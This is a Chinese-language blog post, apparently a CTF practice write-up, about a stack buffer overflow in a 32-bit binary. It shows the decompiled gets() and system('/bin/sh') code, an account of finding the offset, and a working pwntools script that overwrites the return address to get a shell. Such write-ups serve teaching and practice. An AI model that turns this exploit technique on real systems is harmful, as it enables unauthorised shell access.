栈溢出-pwn练习1

 

 1 int __cdecl main(int argc, const char **argv, const char **envp)
 2 {
 3   char s; // [esp+1Ch] [ebp-64h]
 4 
 5   setvbuf(stdout, 0, 2, 0);
 6   setvbuf(_bss_start, 0, 1, 0);
 7   puts("There is something amazing here, do you know anything?");
 8   gets(&s);
 9   printf("Maybe I will tell you next time !");
10   return 0;
11 }

打开IDA,发现第8行有gets函数。

 1 void secure()
 2 {
 3   unsigned int v0; // eax
 4   int input; // [esp+18h] [ebp-10h]
 5   int secretcode; // [esp+1Ch] [ebp-Ch]
 6 
 7   v0 = time(0);
 8   srand(v0);
 9   secretcode = rand();
10   __isoc99_scanf((const char *)&unk_8048760, &input);
11   if ( input == secretcode )
12     system("/bin/sh");
13 }

然后发现有system("/bin/sh"),所以就可以直接利用gets函数覆盖返回地址,转到这里就可以拿到shell了。

 

在这里可以看到,要溢出的变量s,在ida中显示的位置是ebp-64h,但是实际上通过动态调试,才知道这个数不对。

 

 在这里输入的数据是0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901AAAA,从图中可以看到,输入位置的栈帧与ebp的距离有6C字节。

 

 

接下来就要写脚本了,首先我是把这个secure函数的首地址作为返回地址去进行覆盖的(即这里的080485fd)。结果发现不行,然后就再看这个函数的反汇编。

 

 当时就想着再次进行栈溢出覆盖,把这里的if给绕过,后来试了好多次,也没成功。原因可能是这个scanf虽然能够接受任意长度的变量,但这里的参数是%d,也就是说只能输入整数,所以即使再怎么输入,也只能正常的输入4个字节数据。当然也有可能是我构造的payload不对。总之没有成功。

 后来才知道,直接把返回地址改成这个system函数开始的地方就可以了,根本用不着绕过啥的。

1 from pwn import *
2 io=process('./pwn1')
3 payload=b'A'*112+p32(0x0804863A)
4 io.send(payload)
5 io.interactive()

这个题给我的启发挺大的,之前的思维定势太大了,看到需要返回函数地址的,就习惯性的把首地址传过去,但是实际上,只要是正常的汇编指令,修改一下eip,都可以直接执行。

posted @ 2020-12-07 21:55  大金刚仔  阅读(191)  评论(0编辑  收藏  举报